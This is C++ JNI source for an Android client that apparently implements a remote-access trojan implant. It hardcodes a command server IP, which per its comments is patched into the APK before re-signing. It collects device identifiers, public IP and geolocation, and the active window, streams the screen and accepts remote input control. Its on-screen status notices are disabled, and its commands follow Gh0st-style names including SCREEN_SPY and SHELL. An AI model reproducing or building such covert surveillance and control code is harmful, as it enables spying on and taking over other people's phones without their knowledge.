#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common/commands.h" #include "common/client_auth_state.h" #include "common/rtt_estimator.h" #include "client/IOCPClient.h" #include "ScreenHandler.h" #define XXH_INLINE_ALL #include "common/xxhash.h" #include "common/logger.h" #define LOG_TAG "YAMA" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) // 1 = 状态提示显示到电视屏幕;0 = 只写 logcat,不显示到屏幕 #define SCREEN_STATUS_ENABLED 0 extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg, int msgLen, char* buf, int bufSize); // ---- 设备信息 helper(登录时填充,仅调用一次)---- static int GetCpuCores() { long n = sysconf(_SC_NPROCESSORS_ONLN); return (n > 0) ? (int)n : 1; } static double GetMemoryGB() { FILE* f = fopen("/proc/meminfo", "r"); if (!f) return 0.0; char line[128]; unsigned long kb = 0; while (fgets(line, sizeof(line), f)) { if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break; } fclose(f); return kb / (1024.0 * 1024.0); } // 遍历 cpu0-cpu7,取 cpuinfo_max_freq 最大值(大核频率) static int GetCpuMHz() { // 优先从 sysfs 读取(真机有效) unsigned long maxKhz = 0; char path[80]; for (int i = 0; i < 8; i++) { snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i); FILE* f = fopen(path, "r"); if (!f) continue; unsigned long khz = 0; if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz; fclose(f); } if (maxKhz > 0) return (int)(maxKhz / 1000); // 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用) FILE* f = fopen("/proc/cpuinfo", "r"); if (!f) return 0; char line[128]; double bogomips = 0; while (fgets(line, sizeof(line), f)) { if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 || sscanf(line, "bogomips : %lf", &bogomips) == 1) break; } fclose(f); return bogomips > 0 ? (int)bogomips : 0; } static long GetFileSize(const std::string& path) { if (path.empty()) return 0; struct stat st; return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0; } static std::string FormatFileSize(long bytes) { char buf[32]; if (bytes >= 1024 * 1024) snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0)); else if (bytes >= 1024) snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0); else snprintf(buf, sizeof(buf), "%ldB", bytes); return buf; } // 从 JSON 字符串中提取字符串字段值 static std::string JsonGetStr(const std::string& json, const char* key) { std::string needle = std::string("\"") + key + "\":"; auto pos = json.find(needle); if (pos == std::string::npos) return ""; pos += needle.size(); while (pos < json.size() && json[pos] == ' ') pos++; if (pos >= json.size() || json[pos] != '"') return ""; pos++; auto end = json.find('"', pos); return (end == std::string::npos) ? "" : json.substr(pos, end - pos); } // 查询 ip-api.com,一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源) // 在连接线程中同步调用,超时 3 秒 struct GeoResult { std::string pubIp, location; std::atomic ready{false}; }; static void FetchGeoInfoImpl(std::shared_ptr out) { struct addrinfo hints = {}, *res = nullptr; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) { out->ready.store(true, std::memory_order_release); return; } int fd = ::socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; } struct timeval tv = {3, 0}; setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK); connect(fd, res->ai_addr, res->ai_addrlen); fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds); bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1); fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK); if (connected) { const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n" "Host: ip-api.com\r\n" "Connection: close\r\n\r\n"; send(fd, req, strlen(req), 0); std::string resp; char buf[512]; ssize_t n; while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n); auto sep = resp.find("\r\n\r\n"); if (sep != std::string::npos) { const std::string body = resp.substr(sep + 4); if (JsonGetStr(body, "status") == "success") { out->pubIp = JsonGetStr(body, "query"); std::string city = JsonGetStr(body, "city"); std::string country = JsonGetStr(body, "country"); if (!city.empty() && !country.empty()) out->location = city + ", " + country; else if (!country.empty()) out->location = country; else if (!city.empty()) out->location = city; } } } close(fd); freeaddrinfo(res); out->ready.store(true, std::memory_order_release); } // getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread static bool FetchGeoInfo(std::string& pubIp, std::string& location) { pubIp.clear(); location.clear(); auto result = std::make_shared(); std::thread(FetchGeoInfoImpl, result).detach(); for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++) usleep(100000); // 100ms × 50 = 5 秒 if (!result->ready.load(std::memory_order_acquire)) return false; pubIp = result->pubIp; location = result->location; return !pubIp.empty(); } // 服务端通过 FLAG_GHOST("Hello, World!")定位此变量,patch szServerIP/szPort 后重签 APK // 偏移:szServerIP at +32, szPort at +132(见 commands.h CONNECT_ADDRESS 定义) CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID }; // ---- 全局状态 ---- // CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器; // IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile, // 直接用 State;ARM 4 字节对齐写入硬件层面原子,实际安全。 State g_bExit{S_CLIENT_NORMAL}; uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号 static std::atomic g_running{false}; static std::atomic g_lastHeartbeatAckMs{0}; // ---- JNI 反向调用(DataProcess → ControlService / CaptureService)---- static JavaVM* g_jvm = nullptr; static jclass g_ctrlClass = nullptr; static jmethodID g_ctrlMethod = nullptr; static jmethodID g_getActiveWindowMid = nullptr; // CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发 static jclass g_captureClass = nullptr; static jmethodID g_requestIdrMid = nullptr; static jmethodID g_forceFirstFrameMid = nullptr; static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String) static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务 // 心跳日志限流:每 60 秒最多打一次 static std::atomic g_lastHbLogMs{0}; static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000; // 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent() // 定义在全局函数区;ScreenHandler.h 通过 extern 声明使用。 void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY) { if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) { LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod); return; } if (msgVal != 0x200u) LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY); JNIEnv* jenv = nullptr; bool attached = false; jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6); if (st == JNI_EDETACHED) { // CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return; attached = true; } else if (st != JNI_OK || !jenv) { return; } jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod, (jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY); if (jenv->ExceptionOccurred()) jenv->ExceptionClear(); if (attached) g_jvm->DetachCurrentThread(); } static std::string GetActiveWindowFromJava() { if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android"; JNIEnv* jenv = nullptr; bool attached = false; jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6); if (st == JNI_EDETACHED) { if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android"; attached = true; } else if (st != JNI_OK || !jenv) { return "Android"; } jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid); std::string result = "Android"; if (js && !jenv->ExceptionOccurred()) { const char* c = jenv->GetStringUTFChars(js, nullptr); if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); } jenv->DeleteLocalRef(js); } if (jenv->ExceptionOccurred()) jenv->ExceptionClear(); if (attached) g_jvm->DetachCurrentThread(); return result; } // 服务器连接参数 static std::string g_serverIp; static int g_serverPort = 443; // 设备信息(nativeInit 传入) static std::string g_androidId; static std::string g_deviceModel; static std::string g_androidVersion; static std::string g_screenRes; static std::string g_username; static std::string g_apkPath; static std::string g_filesDir; // context.filesDir,无需权限,用于持久化分组名 static void SaveGroupName() { if (g_filesDir.empty()) return; std::string path = g_filesDir + "/yama_group"; FILE* f = fopen(path.c_str(), "w"); if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; } fputs(g_SETTINGS.szGroupName, f); fclose(f); LOGI("Group saved: %s", g_SETTINGS.szGroupName); } static void LoadGroupName() { if (g_filesDir.empty()) return; std::string path = g_filesDir + "/yama_group"; FILE* f = fopen(path.c_str(), "r"); if (!f) return; char buf[24] = {}; if (fgets(buf, sizeof(buf), f)) { size_t len = strlen(buf); while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0'; if (len > 0) { memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1); LOGI("Group loaded from file: %s", buf); } } fclose(f); } // 屏幕尺寸(Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置) // 初始化为 0;ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前 // 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。 static std::atomic g_screenWidth{0}; static std::atomic g_screenHeight{0}; // 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接 static std::set g_screenHandlers; static std::mutex g_shMutex; // ------------------------------------------------------------------ 屏幕子连接线程 // 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。 static void CallCaptureStaticVoid(jmethodID mid) { if (!g_jvm || !g_captureClass || !mid) return; JNIEnv* jenv = nullptr; bool attached = false; jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6); if (st == JNI_EDETACHED) { if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return; attached = true; } else if (st != JNI_OK || !jenv) { return; } jenv->CallStaticVoidMethod(g_captureClass, mid); if (jenv->ExceptionOccurred()) jenv->ExceptionClear(); if (attached) g_jvm->DetachCurrentThread(); } // 触发编码器输出关键帧(setParameters REQUEST_SYNC_FRAME) static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); } // 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化) static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); } // 向 CaptureService.onNativeStatus() 发送状态 Toast(连接线程诊断用) static void PostStatus(const char* msg) { LOGI("STATUS: %s", msg); #if SCREEN_STATUS_ENABLED if (!g_jvm || !g_captureClass || !g_statusMid) return; JNIEnv* jenv = nullptr; bool attached = false; if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) { g_jvm->AttachCurrentThread(&jenv, nullptr); attached = true; } if (jenv) { jstring js = jenv->NewStringUTF(msg); if (js) { jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js); jenv->DeleteLocalRef(js); } if (jenv->ExceptionOccurred()) jenv->ExceptionClear(); } if (attached) g_jvm->DetachCurrentThread(); #endif } static void ScreenSpyThread() { // 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。 // 若在此之前读到默认值 0,SendBitmapInfo 会发错误尺寸给服务端, // 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。 for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i) Sleep(50); // 最多等 5 秒 int w = g_screenWidth.load(); int h = g_screenHeight.load(); if (w == 0 || h == 0) { LOGE("ScreenSpyThread: screen size not set after 5s, abort"); return; } LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h); // 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试 for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) { // 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除 std::unique_ptr client; std::unique_ptr handler; try { LOGI("SST[%d]: creating IOCPClient", attempt); client = std::make_unique(g_bExit, true); client->EnableSubConnAuth(true, g_myClientID); LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort); if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) { LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt); Sleep(2000); continue; } LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h); handler = std::make_unique(client.get(), w, h); LOGI("SST[%d]: handler created, inserting to set", attempt); { std::lock_guard lk(g_shMutex); g_screenHandlers.insert(handler.get()); } LOGI("SST[%d]: setManagerCallBack", attempt); client->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); LOGI("SST[%d]: SendBitmapInfo", attempt); handler->SendBitmapInfo(); LOGI("SST[%d]: ForceFirstFrame", attempt); ForceFirstFrameFromJava(); LOGI("SST[%d]: RequestIdr", attempt); RequestIdrFromJava(); LOGI("SST[%d]: entering wait loop", attempt); while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(200); client->setManagerCallBack(nullptr, nullptr, nullptr); { std::lock_guard lk(g_shMutex); g_screenHandlers.erase(handler.get()); } } catch (const std::exception& e) { LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what()); // 先清除回调,再析构 handler:防止 client 在 handler 析构后仍持有其指针 if (client) client->setManagerCallBack(nullptr, nullptr, nullptr); if (handler) { std::lock_guard lk(g_shMutex); g_screenHandlers.erase(handler.get()); } Sleep(2000); continue; } break; // 正常结束,不再重试 } LOGI("ScreenSpyThread exit"); } // ------------------------------------------------------------------ DataProcess int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength) { if (!szBuffer || !ulLength) return TRUE; int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]); if (!allowed) { LOGI("DataProcess cmd=%d len=%lu allowed=%d", (int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed); return TRUE; } switch (szBuffer[0]) { case COMMAND_BYE: PostStatus("BYE from server"); g_bExit = S_CLIENT_EXIT; break; case CMD_HEARTBEAT_ACK: if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) { HeartbeatACK ack; memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK)); uint64_t now = GetUnixMs(); g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); int64_t rtt = (int64_t)now - (int64_t)ack.Time; if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt) rtt -= ack.ProcessingMs; g_rttEstimator.update_from_sample((double)rtt); if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) { g_lastHbLogMs.store(now, std::memory_order_relaxed); LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0); } } break; case CMD_MASTERSETTING: { MasterSettings settings; if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) { if (settings.ReportInterval > 0) g_heartbeatInterval = std::max(settings.ReportInterval, 30); LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval); PostStatus("masterSettings: OK"); } else { PostStatus("masterSettings: FAIL"); } break; } case COMMAND_SCREEN_SPY: { // 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制 size_t active; { std::lock_guard lk(g_shMutex); active = g_screenHandlers.size(); } LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d", (unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load()); std::thread(ScreenSpyThread).detach(); break; } case COMMAND_SCREEN_CONTROL: { if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; } const uint8_t* p = szBuffer + 1; uint64_t msgVal = 0, wParam = 0, lParam = 0; memcpy(&msgVal, p + 8, 8); memcpy(&wParam, p + 16, 8); memcpy(&lParam, p + 24, 8); int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF); int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF); DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY); break; } case CMD_SET_GROUP: { std::string grp; if (ulLength > 1) { grp.assign((const char*)szBuffer + 1, ulLength - 1); auto z = grp.find('\0'); if (z != std::string::npos) grp.resize(z); } { std::lock_guard lk(g_shMutex); memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); } SaveGroupName(); LOGI("Group changed to: %s", grp.c_str()); break; } case COMMAND_SHELL: LOGI("COMMAND_SHELL (not implemented)"); break; case COMMAND_SYSTEM: LOGI("COMMAND_SYSTEM (not implemented)"); break; default: LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength); break; } return TRUE; } // ------------------------------------------------------------------ 网络主线程 static void ConnectionThread() { LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort); PostStatus("geo: fetching..."); std::string g_pubIp, g_location; FetchGeoInfo(g_pubIp, g_location); PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str()); LOGIN_INFOR logInfo; { std::string pcName = g_deviceModel; if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; } strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1); } strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1); strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1); logInfo.dwCPUMHz = GetCpuMHz(); logInfo.bWebCamIsExist = 0; g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0); logInfo.AddReserved("APK"); logInfo.AddReserved(64); // OS bits logInfo.AddReserved(GetCpuCores()); // CPU 核数 logInfo.AddReserved(GetMemoryGB()); // 内存 GB logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client" : g_apkPath.c_str()); // 文件路径 logInfo.AddReserved("?"); logInfo.AddReserved(logInfo.szStartTime); logInfo.AddReserved("?"); logInfo.AddReserved(64); // 程序位数 logInfo.AddReserved(""); logInfo.AddReserved(g_location.c_str()); // [10] 地理位置 logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP logInfo.AddReserved("v1.0.0"); logInfo.AddReserved(g_username.c_str()); logInfo.AddReserved(0); // IsRunningAsAdmin logInfo.AddReserved(g_screenRes.c_str()); logInfo.AddReserved(std::to_string(g_myClientID).c_str()); logInfo.AddReserved((int)getpid()); // PID logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小 ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID); LOGI("ClientID=%" PRIu64, g_myClientID); std::unique_ptr client(new IOCPClient(g_bExit, false)); client->setManagerCallBack(nullptr, DataProcess, nullptr); int g_connAttempt = 0; while (S_CLIENT_NORMAL == g_bExit && g_running.load()) { char connMsg[64]; snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d", ++g_connAttempt, g_serverIp.c_str(), g_serverPort); PostStatus(connMsg); clock_t c = clock(); if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) { snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno); PostStatus(connMsg); Sleep(5000); continue; } PostStatus("connected! sending login..."); ClientAuth::OnNewConnection(); { std::lock_guard lk(g_shMutex); std::string pcName = g_deviceModel; if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; } strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1); logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; } client->SendLoginInfo(logInfo.Speed(clock() - c)); g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed); LOGI("Connected & login sent"); while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit && g_running.load()) { int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) { if (!client->IsRunning() || !client->IsConnected() || g_bExit != S_CLIENT_NORMAL || !g_running.load()) { char dbg[96]; snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d", i, (int)client->IsRunning(), (int)client->IsConnected(), (int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load()); PostStatus(dbg); break; } Sleep(1000); } if (!client->IsRunning() || !client->IsConnected() || g_bExit != S_CLIENT_NORMAL || !g_running.load()) break; if (ClientAuth::IsTimedOut()) { PostStatus("timeout: masterSettings"); continue; } { int ackTO = (interval * 3 > 60) ? interval * 3 : 60; uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed); uint64_t now = GetUnixMs(); if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) { PostStatus("timeout: ACK"); continue; } } Heartbeat hb; hb.Time = GetUnixMs(); hb.Ping = (int)(g_rttEstimator.srtt * 1000.0); std::string aw = GetActiveWindowFromJava(); strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1); BYTE buf[sizeof(Heartbeat) + 1]; buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &hb, sizeof(Heartbeat)); client->Send2Server((char*)buf, sizeof(buf)); { uint64_t now2 = GetUnixMs(); if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) { // ACK 分支会更新 g_lastHbLogMs,这里仅在没有 ACK 时兜底打印 LOGI("Heartbeat Ping=%dms", hb.Ping); } } } PostStatus("disconnected, retry..."); // Give server 2 s to remove old context from HostList; without this // the immediate reconnect hits "already exists" and server skips SendMasterSettings. std::this_thread::sleep_for(std::chrono::seconds(2)); } g_running.store(false); LOGI("ConnectionThread exit"); if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) { JNIEnv* jenv = nullptr; bool attached = false; if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) { g_jvm->AttachCurrentThread(&jenv, nullptr); attached = true; } if (jenv) { jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid); if (jenv->ExceptionCheck()) jenv->ExceptionClear(); } if (attached) g_jvm->DetachCurrentThread(); } } // ------------------------------------------------------------------ JNI extern "C" { JNIEXPORT jint JNICALL Java_com_yama_client_YamaBridge_nativeInit( JNIEnv* env, jobject, jstring serverIp, jint serverPort, jstring androidId, jstring deviceModel, jstring androidVersion, jstring screenRes, jstring username, jstring apkPath, jstring filesDir) { // CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争 bool expected = false; if (!g_running.compare_exchange_strong(expected, true)) { LOGI("already running"); return -1; } auto toStr = [&](jstring js) -> std::string { if (!js) return ""; const char* c = env->GetStringUTFChars(js, nullptr); std::string s = c ? c : ""; env->ReleaseStringUTFChars(js, c); return s; }; g_serverIp = g_SETTINGS.ServerIP(); g_serverPort = g_SETTINGS.ServerPort(); g_androidId = toStr(androidId); g_deviceModel = toStr(deviceModel); g_androidVersion = toStr(androidVersion); g_screenRes = toStr(screenRes); g_username = toStr(username); g_apkPath = toStr(apkPath); g_filesDir = toStr(filesDir); LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName(优先级高于编译时 patch) // 缓存 JVM 和 Class/Method 引用。必须在 Java 线程(nativeInit 调用栈) // 里做 FindClass,否则 AttachCurrentThread 的后台线程只有系统 ClassLoader, // 找不到 App 类,GetStaticMethodID 拿到 null 导致后续调用崩溃。 if (g_jvm == nullptr) { if (env->GetJavaVM(&g_jvm) == JNI_OK) { jclass cls = env->FindClass("com/yama/client/ControlService"); if (cls) { g_ctrlClass = (jclass)env->NewGlobalRef(cls); g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V"); if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found"); g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;"); if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; } if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found"); } else { LOGE("ControlService class not found"); } jclass capCls = env->FindClass("com/yama/client/CaptureService"); if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; } if (capCls) { g_captureClass = (jclass)env->NewGlobalRef(capCls); g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V"); if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; } if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found"); // GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除, // 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。 g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V"); if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; } if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found"); g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V"); if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; } if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found"); g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V"); if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; } if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found"); UseAndroidLog(PostStatus); } else { LOGE("CaptureService class not found"); } } } g_bExit = S_CLIENT_NORMAL; // g_running 已在 CAS 中设为 true,不重复 store std::thread(ConnectionThread).detach(); LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort); return 0; } JNIEXPORT void JNICALL Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject) { LOGI("nativeStop"); g_bExit = S_CLIENT_EXIT; g_running.store(false); } // 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸 JNIEXPORT void JNICALL Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height) { g_screenWidth.store(width); g_screenHeight.store(height); LOGI("ScreenSize=%dx%d", width, height); } // 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU JNIEXPORT void JNICALL Java_com_yama_client_YamaBridge_nativeOnH264Frame( JNIEnv* env, jobject, jbyteArray data, jint offset, jint size, jboolean isKeyframe) { // CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃 if (!data || offset < 0 || size <= 0) return; jsize arrLen = env->GetArrayLength(data); if ((jlong)offset + size > arrLen) { LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen); return; } jbyte* buf = env->GetByteArrayElements(data, nullptr); if (!buf) return; { std::lock_guard lk(g_shMutex); for (auto* h : g_screenHandlers) h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe); } env->ReleaseByteArrayElements(data, buf, JNI_ABORT); } } // extern "C"